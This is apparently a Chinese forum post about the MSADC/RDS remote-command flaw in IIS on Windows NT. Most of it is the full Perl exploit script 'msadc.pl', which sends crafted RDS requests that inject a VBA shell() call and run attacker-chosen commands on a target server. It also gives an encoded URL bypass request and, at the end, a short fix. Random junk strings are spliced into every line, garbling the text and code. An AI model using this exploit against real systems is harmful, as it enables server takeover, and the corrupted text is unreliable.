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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) *i?rJH  
lMwk.#  
涉及程序: ~J1;tZS  
Microsoft NT server r|^lt7\  
N(:nF5>_  
描述: 4e@&QOo`Cu  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 H+VO.s.a  
8Y\OCwO  
详细: C NfJ:e2  
如果你没有时间读详细内容的话,就删除: LgP>u?]n  
c:\Program Files\Common Files\System\Msadc\msadcs.dll Qq T/1^imS  
有关的安全问题就没有了。 kqD*TJA  
cXS;z.M\_  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 0AK?{y U  
jQ_dw\ {0  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 l*K I  
关于利用ODBC远程漏洞的描述,请参看: O xT}I  
N )zPxQ  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm U['JFLF  
T2DF'f3A  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 Yz=h"Zr  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp gT(th9'+z  
JG@L5f  
这里不再论述。 9jO`gWxV8*  
&_9YLXtMi;  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: 'u(=eJ@1  
[J)/Et  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset 7`IUMYl#~  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! cgs3qI  
-,QKTxwo>  
e^k!vk-SLF  
#将下面这段保存为txt文件,然后: "perl -x 文件名" ;Y'8:ncDn  
6| *(dE2x(  
#!perl 7q%|4Z-~  
# ^^7L"je]g  
# MSADC/RDS 'usage' (aka exploit) script rH$eB/#F  
# =[]x\&@t  
# by rain.forest.puppy 1l/AKI(!  
# 4>4V-m\  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me q.=^i z&m  
# beta test and find errors! =oE_.ux\  
#puQi  
use Socket; use Getopt::Std; ih>a~U<  
getopts("e:vd:h:XR", \%args); Z+Yeg  
(9mbF%b  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; VK2@2`$  
:`0'GM" `  
if (!defined $args{h} && !defined $args{R}) { l`@0zw+  
print qq~ >u=%Lz"J  
Usage: msadc.pl -h <host> { -d <delay> -X -v } h6u2j p(+  
-h <host> = host you want to scan (ip or domain) q&zny2])  
-d <seconds> = delay between calls, default 1 second |DN^NhtE  
-X = dump Index Server path table, if available K;oV"KRK  
-v = verbose R'6@n#:  
-e = external dictionary file for step 5 gtD   
t< sp%zXZ  
Or a -R will resume a command session TC qkm^xv  
NWEhAj<w  
~; exit;} UT3bd,,  
\un sh^M  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; UTZ776`S&X  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} `6&`wKz  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} +7V=aNRlE  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); GI4?|@%vD!  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} <57g{e0I  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } \V]t!mZ-}l  
Y [W6Sc  
if (!defined $args{R}){ $ret = &has_msadc; \UQ9MX _  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} B!eK!B  
oJ^C]E  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" kMM'[w  
. "cmd /c "; ,09DBxQq,  
$in=<STDIN>; chomp $in; gs?8Wzh90*  
$command="cmd /c " . $in ; :'Zx{F`  
3 m6$YWO  
if (defined $args{R}) {&load; exit;} pvlDjj}  
tcZa~3.  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; WFouoXlG0  
&try_btcustmr; Te# ]Cn|  
PPEq6}  
print "\nStep 2: Trying to make our own DSN..."; >-!r9"8@  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; +A@m9  
<mL%P`Jj  
print "\nStep 3: Trying known DSNs..."; C 8N%X2R  
&known_dsn; C1b*v&1{  
z. 'Fv7  
print "\nStep 4: Trying known .mdbs..."; $; ?c?n+  
&known_mdb; C>^,*7dS  
wb b*nL|P  
if (defined $args{e}){ kP@H G<~  
print "\nStep 5: Trying dictionary of DSN names..."; IXnb]q.  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } TN5>"? ?"  
oz LH]*  
print "Sorry Charley...maybe next time?\n"; eNtf#Rqym  
exit; FC{})|yh }  
a0PE^U  
############################################################################## ` M:DZNy,  
42&v % ;R  
sub sendraw { # ripped and modded from whisker ML=eL*}l  
sleep($delay); # it's a DoS on the server! At least on mine... zX98c  
my ($pstr)=@_; I_ONbJ9]  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || d PsLZ"I  
die("Socket problems\n"); }MP>]8Aq  
if(connect(S,pack "SnA4x8",2,80,$target)){ ]Ko^G_Rm  
select(S); $|=1; )IHG6}<  
print $pstr; my @in=<S>; Nb0Ik/:<  
select(STDOUT); close(S); vDsF-u1  
return @in; C8ZL*9U  
} else { die("Can't connect...\n"); }} SAR= {/  
I7~|~<  
############################################################################## vB.l0!c\e_  
[@//#}5v  
sub make_header { # make the HTTP request msiu8E  
my $msadc=<<EOT !}_b|  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 EkjgNEXq  
User-Agent: ACTIVEDATA z`4c 4h]I  
Host: $ip RND9D\7  
Content-Length: $clen V^WU8x  
Connection: Keep-Alive Fk{J@Y  
e4DMO*6  
ADCClientVersion:01.06 nob0T5G  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 8f|98T"  
j C)-`_  
--!ADM!ROX!YOUR!WORLD! 5MR,UgT  
Content-Type: application/x-varg Sm)u9  
Content-Length: $reqlen V7EQ4Om:It  
5X#E@3g5  
EOT +y/55VLq  
; $msadc=~s/\n/\r\n/g; h$`#YNd'  
return $msadc;} nBkh:5E5%  
QOH<]~3J  
############################################################################## Ke!'gohv  
X3',vey  
sub make_req { # make the RDS request A|L'ih/  
my ($switch, $p1, $p2)=@_; iPvuz7j=h  
my $req=""; my $t1, $t2, $query, $dsn; V^TbP.  
Ird|C[la  
if ($switch==1){ # this is the btcustmr.mdb query 2s\BY%XY  
$query="Select * from Customers where City=" . make_shell(); /,2rjJ#b  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . ;'0=T0\  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} D/CIA8h3  
.fp&MgiQ  
elsif ($switch==2){ # this is general make table query 5pfYEofK[  
$query="create table AZZ (B int, C varchar(10))"; H>XFz(LWh  
$dsn="$p1";} XRxj  W  
`:p1&OS  
elsif ($switch==3){ # this is general exploit table query 5wv fF.v  
$query="select * from AZZ where C=" . make_shell(); BEUK}T K4  
$dsn="$p1";} >&Y-u%}U  
V%*b@zv  
elsif ($switch==4){ # attempt to hork file info from index server x6W `hpL  
$query="select path from scope()"; 1_hW#I\'  
$dsn="Provider=MSIDXS;";} 9%tobo@J~n  
4t*so~  
elsif ($switch==5){ # bad query 2:SO_O4C  
$query="select"; v+xB7w  
$dsn="$p1";} '#.#$8l  
9AQxNbs  
$t1= make_unicode($query); 5Sva}9H  
$t2= make_unicode($dsn); 36vgX=}  
$req = "\x02\x00\x03\x00"; cj$d=k~  
$req.= "\x08\x00" . pack ("S1", length($t1)); /<{:I \<  
$req.= "\x00\x00" . $t1 ; Dd,2;#_  
$req.= "\x08\x00" . pack ("S1", length($t2)); 5)UQWnd5  
$req.= "\x00\x00" . $t2 ; dg_Gs>?2  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; > ' i  
return $req;} e#S0Fk)z  
A&"%os  
############################################################################## ^x m$EY*Y,  
YlF%UPp  
sub make_shell { # this makes the shell() statement %\Wf^6Y^  
return "'|shell(\"$command\")|'";} -oP'4QVb  
\+ 0k+B4a  
############################################################################## R[jEvyD>(  
&%mXYj3y5  
sub make_unicode { # quick little function to convert to unicode !RH.|}  
my ($in)=@_; my $out; iM]o"qOQm  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } !h`kX[:  
return $out;} KzV 2MO-$  
*F`A S>  
############################################################################## "@/62b  
-LW[7s$  
sub rdo_success { # checks for RDO return success (this is kludge) Iz@)!3h  
my (@in) = @_; my $base=content_start(@in); ;j%BK(5  
if($in[$base]=~/multipart\/mixed/){ 2=iH$v  
return 1 if( $in[$base+10]=~/^\x09\x00/ );}  Vzl^Ka'  
return 0;} VIJ<``9[  
8gy_Yj&{P  
############################################################################## gckI.[!b  
@~ETj26U'  
sub make_dsn { # this makes a DSN for us y[?-@7i  
my @drives=("c","d","e","f"); qfoD  
print "\nMaking DSN: "; i+{yMol1  
foreach $drive (@drives) { 5d\q-d  
print "$drive: "; !?!C'-ps  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . )B$;Vs] @i  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" = ieag7!  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); >e,mg8u6$  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; $I9qgDJ)  
return 0 if $2 eq "404"; # not found/doesn't exist &--ej|n  
if($2 eq "200") { c>"cX&  
foreach $line (@results) { UVQ7L9%?f  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} cyM-)r@YQV  
} return 0;} kgi>} %  
[U/(<?F{(  
##############################################################################  ._O  
3?n>yS  
sub verify_exists { w= P 9FxB  
my ($page)=@_; L+}n@B  
my @results=sendraw("GET $page HTTP/1.0\n\n"); Iw<i@=V  
return $results[0];} {0"YOS`3AX  
*%/~mSx  
############################################################################## ^-z=`>SrS"  
A:l@_*C..  
sub try_btcustmr { H<EQu|f&x  
my @drives=("c","d","e","f"); k%]=!5F  
my @dirs=("winnt","winnt35","winnt351","win","windows"); P [Uy  
9ZXlR?GA  
foreach $dir (@dirs) {  rl2&^N  
print "$dir -> "; # fun status so you can see progress :GpDg  
foreach $drive (@drives) { UMl#D >:C<  
print "$drive: "; # ditto ={>Lrig:l  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; $37 g]ZD  
$reqlenlen=length( "$reqlen" ); %ru;;h  
$clen= 206 + $reqlenlen + $reqlen; ,\2:/>2  
 Q6'x\  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); rgmF:C  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} c(;a=n(E#  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} 3jB$2:#  
YuZ"s55zU{  
############################################################################## N- H^lqD  
Z_1U9 +,  
sub odbc_error { 3"n\8#X{  
my (@in)=@_; my $base; V-'K6mn;  
my $base = content_start(@in); fjk\L\1  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this . \   
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; l<0}l^C.  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; X4l@woh%  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ^j#rZ;uc   
return $in[$base+4].$in[$base+5].$in[$base+6];} YQJ==C1  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; |waIpB(  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . K*UgX(xu4P  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} #jA[9gWI  
a<}#HfC;'  
############################################################################## ]0hrRA`  
Mj[f~  
sub verbose { B(xN Gs  
my ($in)=@_;  <1%f@}+8  
return if !$verbose; 5%sE] Y#  
print STDOUT "\n$in\n";} J Ro?s~Ih  
FFdBtB  
############################################################################## b4^`DHRu6  
;q N+^;,2  
sub save { E|'h]NY  
my ($p1, $p2, $p3, $p4)=@_; M@0;B30L  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; )jrV#/m9  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; 2{|h8oz  
close OUT;} L_=3<n E  
3bnS W5  
############################################################################## jReXyRmo({  
GFr|E8  
sub load { u#}[ZoI  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; x#Sqn#  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); 2^i(gaXUQ  
@p=<IN>; close(IN); g1t0l%_7^  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); ,U(1NK8o  
$target= inet_aton($ip) || die("inet_aton problems"); AL>$HB$  
print "Resuming to $ip ..."; Jgnhn>dHe  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; o sKKt?^?  
if($p[1]==1) { 23 ~ Sjr  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; Xy5e5K  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; 8Q_SRwN  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); 8\:NMP8W\  
if (rdo_success(@results)){print "Success!\n";} p<M\U"5Ye  
else { print "failed\n"; verbose(odbc_error(@results));}} Y>'|oygHA  
elsif ($p[1]==3){ kbM3  
if(run_query("$p[3]")){ 5mb]Q)f9-  
print "Success!\n";} else { print "failed\n"; }} */|BpakD<  
elsif ($p[1]==4){ yj^+ G  
if(run_query($drvst . "$p[3]")){ $56,$K`H  
print "Success!\n"; } else { print "failed\n"; }} f bUr`~Y"  
exit;} 7jdb)l\p=  
As>_J=8} 3  
############################################################################## V+O"j^Z_J  
9K1oZ?)_z  
sub create_table { ;G%R<Z  
my ($in)=@_; yn#X;ja-  
$reqlen=length( make_req(2,$in,"") ) - 28; l ok=  
$reqlenlen=length( "$reqlen" ); l\C.",CEcc  
$clen= 206 + $reqlenlen + $reqlen; =UV`.d2[  
my @results=sendraw(make_header() . make_req(2,$in,"")); u*hSj)vr1  
return 1 if rdo_success(@results); >$4d7.^hb/  
my $temp= odbc_error(@results); verbose($temp); !"Oh3 6  
return 1 if $temp=~/Table 'AZZ' already exists/; cTG|fdgMW  
return 0;} IIbYfPiO  
h<$MyN4]g  
############################################################################## |P%Jw,}]9  
}sxYxn~  
sub known_dsn { thhwN A  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go D-c`FG'  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", 'q`^3&E  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", cFJY^A  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); 1YH+d0UGn  
MG.` r{5  
foreach $dSn (@dsns) { w!D|]LoE  
print "."; 55z]&5N  
next if (!is_access("DSN=$dSn")); 6fw(T.Pe  
if(create_table("DSN=$dSn")){ DY`kx2e!  
print "$dSn successful\n"; N0r16# -g  
if(run_query("DSN=$dSn")){ [sW3l:^  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { |j7,Mu+  
print "Something's borked. Use verbose next time\n";}}} print "\n";} /FRm2m83  
OLE[UXD-E  
############################################################################## k?,1x~  
^0 -:G6H  
sub is_access { OynXkH]0T+  
my ($in)=@_; <[-nF"Q  
$reqlen=length( make_req(5,$in,"") ) - 28; pS:4CNI{  
$reqlenlen=length( "$reqlen" ); 2 O%`G+\)  
$clen= 206 + $reqlenlen + $reqlen; ;5)P6S.D  
my @results=sendraw(make_header() . make_req(5,$in,"")); ]?(-[  
my $temp= odbc_error(@results); dUhY\v oQ  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); ajEjZ6  
return 0;} @<elq'2  
[C'JH//q*t  
############################################################################## ?U2<  
9?SZNL['V  
sub run_query { U[ 0=L`0e  
my ($in)=@_; JT!9\i  
$reqlen=length( make_req(3,$in,"") ) - 28; sr{a(4*\  
$reqlenlen=length( "$reqlen" ); 6}!#;@D~  
$clen= 206 + $reqlenlen + $reqlen; *+#8mA(  
my @results=sendraw(make_header() . make_req(3,$in,"")); ,=[?yJy  
return 1 if rdo_success(@results); hbY5l}\5  
my $temp= odbc_error(@results); verbose($temp); N'GeHByIT  
return 0;} |E JD3 &  
BW$"`T@c6~  
############################################################################## (^Y~/  
i uF*.hc,%  
sub known_mdb { s*-n^o-  
my @drives=("c","d","e","f","g"); ci?qT,&  
my @dirs=("winnt","winnt35","winnt351","win","windows"); 0|{u{w@!`  
my $dir, $drive, $mdb;  @fl-3q  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; ]d! UJ&<?  
qm"rY\:  
# this is sparse, because I don't know of many Q|#W#LV,K  
my @sysmdbs=( "\\catroot\\icatalog.mdb", ,Vt/(x-  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", 1ng!G 7g  
"\\system32\\certmdb.mdb", ?j"KV_  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% vzim<;i  
E2Q[ZoVS  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", !1$])VQWI  
"\\cfusion\\cfapps\\forums\\forums_.mdb", ~Vr.J}]J  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", )p<ExMIxd  
"\\cfusion\\cfapps\\security\\realm_.mdb", ~?K~L~f5  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", -;^j:L{   
"\\cfusion\\database\\cfexamples.mdb", )-a'{W/t  
"\\cfusion\\database\\cfsnippets.mdb", &E.^jR~*  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", n(;|q&3  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", tFp Ygff<  
"\\cfusion\\brighttiger\\database\\cleam.mdb", s~5[![1 K  
"\\cfusion\\database\\smpolicy.mdb", K<>oa[B9  
"\\cfusion\\database\cypress.mdb", XovRg,  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", YS/Yd[ e  
"\\website\\cgi-win\\dbsample.mdb", hoK>~:;  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", v>Q #B  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" \1D<!k\S  
); #these are just RO 4Z?tz  
foreach $drive (@drives) { e4? >-  
foreach $dir (@dirs){ RBs-_o+%  
foreach $mdb (@sysmdbs) { Vf] "L .G  
print "."; A#EDk U,  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ t/VD31  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; onz?_SAW  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ sn obT Q  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; `4=^cyt+  
} else { print "Something's borked. Use verbose next time\n"; }}}}} 1_PoqD!q  
;:\<gVi:  
foreach $drive (@drives) { <G|(|E1  
foreach $mdb (@mdbs) { fF7bBE)L/|  
print "."; `d5%.N  
if(create_table($drv . $drive . $dir . $mdb)){ 1Q<^8N)pf  
print "\n" . $drive . $dir . $mdb . " successful\n"; )u[emv$  
if(run_query($drv . $drive . $dir . $mdb)){ A kC1z73<  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; $4h5rC g0  
} else { print "Something's borked. Use verbose next time\n"; }}}} ywGd>@  
} J}v}~Cv  
\LR~r%(rM  
############################################################################## 4T|b Cs?e  
kmP]SO?tx  
sub hork_idx { >=:&D)m"  
print "\nAttempting to dump Index Server tables...\n"; ILEz;D{]   
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; VVac:  
$reqlen=length( make_req(4,"","") ) - 28; d3 ZdB4L  
$reqlenlen=length( "$reqlen" ); 1w@(5 ^V  
$clen= 206 + $reqlenlen + $reqlen; Br1&8L-|%  
my @results=sendraw2(make_header() . make_req(4,"","")); % 5M/s'O?i  
if (rdo_success(@results)){ kMi/>gpQ  
my $max=@results; my $c; my %d; [j=yMP38!:  
for($c=19; $c<$max; $c++){ + B B@OW  
$results[$c]=~s/\x00//g; }wr{W:j  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; g{OwuAC_  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; z> Rsi  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; j*so9M6|c  
$d{"$1$2"}="";}  HN=V"a  
foreach $c (keys %d){ print "$c\n"; } Dfg2`l  
} else {print "Index server doesn't seem to be installed.\n"; }} X[]m _@v  
G_bG  
############################################################################## We$:&K0  
E ~Sb  
sub dsn_dict { ,?8qpEG~#+  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); ORe(]I`Z  
while(<IN>){ 7K,-01-:  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; _x%7@ .TB  
next if (!is_access("DSN=$dSn")); y{ibO}s  
if(create_table("DSN=$dSn")){ ^1iSn)&  
print "$dSn successful\n"; JEXy%hl  
if(run_query("DSN=$dSn")){ l=S35og  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { e6@=wnoX u  
print "Something's borked. Use verbose next time\n";}}} r e/@D@%  
print "\n"; close(IN);} {C=NUK%?  
] o*#t  
############################################################################## WIC/AL'  
0^I|u t4  
sub sendraw2 { # ripped and modded from whisker C7lH]`W|/  
sleep($delay); # it's a DoS on the server! At least on mine... '\Giv!>  
my ($pstr)=@_; {> eXR?s/  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || mn, =i  
die("Socket problems\n"); 0b+Wc43}K  
if(connect(S,pack "SnA4x8",2,80,$target)){ F, W~,y  
print "Connected. Getting data"; TSTl+W  
open(OUT,">raw.out"); my @in; ]zj9A]i:a  
select(S); $|=1; print $pstr; R "n 5  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} ^U `[(kz=  
close(OUT); select(STDOUT); close(S); return @in; {@6= Q 6L  
} else { die("Can't connect...\n"); }} Zn&, t &z  
Sg&UagBj  
############################################################################## HePUWL'  
>80;8\  
sub content_start { # this will take in the server headers HW3 }uP\c  
my (@in)=@_; my $c; )j9SGLo  
for ($c=1;$c<500;$c++) { hL/)|N~  
if($in[$c] =~/^\x0d\x0a/){ K&POyOvT  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } e- :yb^  
else { return $c+1; }}} 7S '% E  
return -1;} # it should never get here actually .L9j>iP9 *  
mg^I=kpk  
############################################################################## ~zHjMo2  
S^-DK~Xt4  
sub funky { 0Vlk;fIh  
my (@in)=@_; my $error=odbc_error(@in); Lm*e5JnV  
if($error=~/ADO could not find the specified provider/){ F"&~*m^+  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; [B+yyBtx  
exit;} JJP08 oP  
if($error=~/A Handler is required/){ S>h;K`  
print "\nServer has custom handler filters (they most likely are patched)\n"; 15%w 8u  
exit;} '8Q]C*Z  
if($error=~/specified Handler has denied Access/){ xbdN0MAU  
print "\nServer has custom handler filters (they most likely are patched)\n"; ^T*?>%`  
exit;}} ![`Ay4AZ@a  
vI:;A/&  
############################################################################## jr)1(**  
(!ZM{Js%  
sub has_msadc { Q\^O64geD  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); S|SV$_ (  
my $base=content_start(@results); pXrFljoYl[  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); QKyo`g7  
return 0;} 'qZW,],5  
ock Te5U  
########################  .u*0[N  
S?>HD|Z  
^N7e76VwR  
解决方案: @G8lr  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll #*QO3y~ZM  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 #bUXgn>  
lpQSup  
拿出来充数 哈哈
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